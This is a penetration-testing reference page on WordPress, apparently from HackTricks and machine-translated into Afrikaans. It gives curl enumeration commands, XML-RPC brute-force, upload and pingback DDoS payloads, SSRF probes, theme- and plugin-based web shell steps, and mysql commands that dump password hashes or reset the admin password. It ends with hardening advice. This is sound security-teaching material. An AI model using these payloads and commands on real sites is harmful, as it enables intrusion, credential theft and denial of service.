Wordpress

Reading time: 16 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Inligting

  • Gelaaide lĂȘers gaan na: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • TemalĂȘers kan gevind word in /wp-content/themes/, so as jy 'n paar php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur tema twentytwelve te gebruik, kan jy die 404.php lĂȘer in: /wp-content/themes/twentytwelve/404.php toegang.

  • Nog 'n nuttige url kan wees: /wp-content/themes/default/404.php

  • In wp-config.php kan jy die wortelwagwoord van die databasis vind.

  • Standaard aanmeldpade om te kontroleer: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Hoof WordPress LĂȘers

  • index.php
  • license.txt bevat nuttige inligting soos die weergawe van WordPress wat geĂŻnstalleer is.
  • wp-activate.php word gebruik vir die e-pos aktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.
  • Aanmeldmappies (kan hernoem word om dit te verberg):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php is 'n lĂȘer wat 'n kenmerk van WordPress verteenwoordig wat data toelaat om oorgedra te word met HTTP wat as die vervoermeganisme en XML as die koderingmeganisme optree. Hierdie tipe kommunikasie is vervang deur die WordPress REST API.
  • Die wp-content gids is die hoofgids waar plugins en temas gestoor word.
  • wp-content/uploads/ Is die gids waar enige lĂȘers wat na die platform gelaai word, gestoor word.
  • wp-includes/ Dit is die gids waar kernlĂȘers gestoor word, soos sertifikate, lettertipes, JavaScript-lĂȘers, en widgets.
  • wp-sitemap.xml In WordPress weergawes 5.5 en groter, genereer WordPress 'n sitemap XML-lĂȘer met al die openbare plasings en publiek navraagbare plasingstipes en taksonomieĂ«.

Post eksploitatie

  • Die wp-config.php lĂȘer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabelvoorvoegsel. Hierdie konfigurasielĂȘer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing.

Gebruikers Toestemmings

  • Administrateur
  • Redakteur: Publiseer en bestuur sy en ander plasings
  • Skrywer: Publiseer en bestuur sy eie plasings
  • Bydraer: Skryf en bestuur sy plasings maar kan dit nie publiseer nie
  • Tekenaar: Blader deur plasings en wysig hul profiel

Passiewe Enumerasie

Kry WordPress weergawe

Kontroleer of jy die lĂȘers /license.txt of /readme.html kan vind

Binne die bronskode van die bladsy (voorbeeld van https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS skakel lĂȘers

  • JavaScript lĂȘers

Kry Plugins

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Kry Temas

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Trek weergawes in die algemeen uit

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Aktiewe enumerasie

Plugins en Temas

Jy sal waarskynlik nie al die moontlike Plugins en Temas kan vind nie. Om al hulle te ontdek, sal jy aktief 'n lys van Plugins en Temas moet Brute Force (hopelik is daar outomatiese gereedskap wat hierdie lyste bevat).

Gebruikers

  • ID Brute: Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Force:
bash
curl -s -I -X GET http://blog.example.com/?author=1

As die antwoorde 200 of 30X is, beteken dit dat die id geldige is. As die antwoord 400 is, dan is die id ongeldige.

  • wp-json: Jy kan ook probeer om inligting oor die gebruikers te verkry deur te vra:
bash
curl http://blog.example.com/wp-json/wp/v2/users

'n Ander /wp-json/ eindpunt wat 'n bietjie inligting oor gebruikers kan onthul, is:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Let wel dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos gemaak het. Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het, sal verskaf word.

Neem ook kennis dat /wp-json/wp/v2/pages IP-adresse kan lek.

  • Aanmeld gebruikersnaam enumerasie: Wanneer jy aanmeld in /wp-login.php is die boodskap anders as die aangeduide gebruikersnaam bestaan of nie.

XML-RPC

As xml-rpc.php aktief is, kan jy 'n geloofsbriewe brute-force uitvoer of dit gebruik om DoS-aanvalle op ander hulpbronne te loods. (Jy kan hierdie proses outomatiseer deur dit te gebruik byvoorbeeld).

Om te sien of dit aktief is, probeer om toegang te verkry tot /xmlrpc.php en stuur hierdie versoek:

Kontroleer

markup
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Geloofsbriewe Bruteforce

wp.getUserBlogs, wp.getCategories of metaWeblog.getUsersBlogs is sommige van die metodes wat gebruik kan word om geloofsbriewe te brute-force. As jy enige van hulle kan vind, kan jy iets soos stuur:

markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Die boodskap "Onkorrekte gebruikersnaam of wagwoord" binne 'n 200 kode antwoord moet verskyn as die geloofsbriewe nie geldig is nie.

Met die korrekte geloofsbriewe kan jy 'n lĂȘer oplaai. In die antwoord sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)

markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Daar is ook 'n sneller manier om akrediteer te brute-force met system.multicall aangesien jy verskeie akrediteer op dieselfde versoek kan probeer:

Om 2FA te omseil

Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige akrediteer het maar die hoofingang is beskerm deur 2FA, kan jy dalk xmlrpc.php misbruik om in te log met daardie akrediteer terwyl jy 2FA omseil. Let daarop dat jy nie al die aksies wat jy deur die konsole kan doen, kan uitvoer nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS of poort skandering

As jy die metode pingback.ping in die lys kan vind, kan jy die Wordpress dwing om 'n arbitrĂȘre versoek na enige gasheer/poort te stuur.
Dit kan gebruik word om duisende Wordpress webwerwe te vra om toegang te verkry tot een plek (so 'n DDoS word in daardie plek veroorsaak) of jy kan dit gebruik om Wordpress te laat skandeer van 'n interne netwerk (jy kan enige poort aandui).

markup
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

As jy faultCode met 'n waarde groter as 0 (17) kry, beteken dit die poort is oop.

Kyk na die gebruik van system.multicall in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.

DDoS

markup
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Hierdie lĂȘer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: /wp-cron.php
Wanneer hierdie lĂȘer geaccess word, word 'n "zware" MySQL query uitgevoer, so dit kan deur aanvallers gebruik word om 'n DoS te veroorsaak.
Ook, standaard, word die wp-cron.php op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek) aangeroep, wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).

Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).

/wp-json/oembed/1.0/proxy - SSRF

Probeer om https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net te access en die Wordpress-webwerf mag 'n versoek na jou maak.

Dit is die antwoord wanneer dit nie werk nie:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Hierdie hulpmiddel kontroleer of die methodName: pingback.ping bestaan en vir die pad /wp-json/oembed/1.0/proxy en as dit bestaan, probeer dit om dit te exploiteer.

Outomatiese Hulpmiddels

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Kry toegang deur 'n bietjie te oorskryf

Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bietjie van enige wordpress-lĂȘer omflip. So jy kon die posisie 5389 van die lĂȘer /var/www/html/wp-includes/user.php omflip om die NOT (!) operasie te NOP.

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Paneel RCE

Wysig 'n php van die tema wat gebruik word (admin geloofsbriewe benodig)

Uiterlik → Tema Redigeerder → 404 Sjabloon (aan die regterkant)

Verander die inhoud na 'n php shell:

Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang kry: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Jy kan gebruik:

bash
use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

Dit mag moontlik wees om .php-lĂȘers as 'n plugin op te laai.
Skep jou php backdoor met byvoorbeeld:

Voeg dan 'n nuwe plugin by:

Laai die plugin op en druk Installeer Nou:

Klik op Procced:

Waarskynlik sal dit niks doen nie, maar as jy na Media gaan, sal jy jou shell opgelaai sien:

Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer:

Uploading and activating malicious plugin

Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en wat benut kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg:

  1. Plugin Verkryging: Die plugin word verkry van 'n bron soos Exploit DB soos hier.
  2. Plugin Installasie:
  • Navigeer na die WordPress-dashboard, gaan dan na Dashboard > Plugins > Upload Plugin.
  • Laai die zip-lĂȘer van die afgelaaide plugin op.
  1. Plugin Aktivering: Sodra die plugin suksesvol geĂŻnstalleer is, moet dit deur die dashboard geaktiveer word.
  2. Eksploitering:
  • Met die plugin "reflex-gallery" geĂŻnstalleer en geaktiveer, kan dit benut word aangesien dit bekend is om kwesbaar te wees.
  • Die Metasploit-raamwerk bied 'n eksploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word, wat ongeoorloofde toegang tot die webwerf verleen.
  • Dit word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf te exploiteer.

Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard vir die installasie en aktivering van die plugin uitbeeld. Dit is egter belangrik om op te let dat die eksploitering van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetrasietoetsing met eksplisiete toestemming.

Vir meer gedetailleerde stappe, kyk: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike is 'n skrip wat ontwerp is om 'n Cross-Site Scripting (XSS) kwesbaarheid na Remote Code Execution (RCE) of ander kritieke kwesbaarhede in WordPress te eskaleer. Vir meer inligting, kyk hierdie pos. Dit bied ondersteuning vir WordPress weergawes 6.X.X, 5.X.X en 4.X.X. en laat toe om:
  • Privilegie Eskalasie: Skep 'n gebruiker in WordPress.
  • (RCE) Aangepaste Plugin (backdoor) Oplaai: Laai jou aangepaste plugin (backdoor) na WordPress op.
  • (RCE) Ingeboude Plugin Wysig: Wysig 'n Ingeboude Plugin in WordPress.
  • (RCE) Ingeboude Tema Wysig: Wysig 'n Ingeboude Tema in WordPress.
  • (Aangepas) Aangepaste Eksploite: Aangepaste Eksploite vir Derdeparty WordPress Plugins/Themes.

Post Exploitation

Trek gebruikersname en wagwoorde uit:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Verander admin wagwoord:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Aanvaloppervlak

Om te weet hoe 'n Wordpress-plugin funksionaliteit kan blootstel, is sleutel om kwesbaarhede in sy funksionaliteit te vind. Jy kan vind hoe 'n plugin funksionaliteit kan blootstel in die volgende opsomming en 'n paar voorbeelde van kwesbare plugins in hierdie blogpos.

  • wp_ajax

Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, magtiging of outentikasie-foute bevat. Boonop is dit 'n soort van gereeld dat hierdie funksies beide die outentikasie en magtiging op die bestaan van 'n wordpress nonce sal baseer wat enige gebruiker wat in die Wordpress-instantie geoutentiseer is, mag hĂȘ (ongeag sy rol).

Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Die gebruik van nopriv maak die eindpunt toeganklik vir enige gebruikers (selfs nie-geverifieerde nie).

caution

Boonop, as die funksie net die magtiging van die gebruiker met die funksie wp_verify_nonce nagaan, kyk hierdie funksie net of die gebruiker ingelog is, dit kyk gewoonlik nie na die rol van die gebruiker nie. So lae geprivilegieerde gebruikers mag toegang hĂȘ tot hoĂ« geprivilegieerde aksies.

  • REST API

Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n rest AP te registreer met die register_rest_route funksie:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

Die permission_callback is 'n terugroep funksie wat nagaan of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.

As die ingeboude __return_true funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.

  • Direkte toegang tot die php-lĂȘer

Natuurlik gebruik Wordpress PHP en lĂȘers binne plugins is direk vanaf die web toeganklik. So, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat geaktiveer word deur net die lĂȘer te benader, gaan dit deur enige gebruiker uitgebuit kan word.

WordPress Beskerming

Gereelde Opdaterings

Maak seker dat WordPress, plugins, en temas op datum is. Bevestig ook dat outomatiese opdatering geaktiveer is in wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Ook, installeer slegs betroubare WordPress-inproppe en temas.

Sekuriteitsinproppe

Ander Aanbevelings

  • Verwyder standaard admin gebruiker
  • Gebruik sterk wagwoorde en 2FA
  • Periodiek hersien gebruikers toestemmings
  • Beperk aanmeldpogings om Brute Force-aanvalle te voorkom
  • Hernoem wp-admin.php lĂȘer en laat slegs toegang intern of vanaf sekere IP-adresse toe.

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks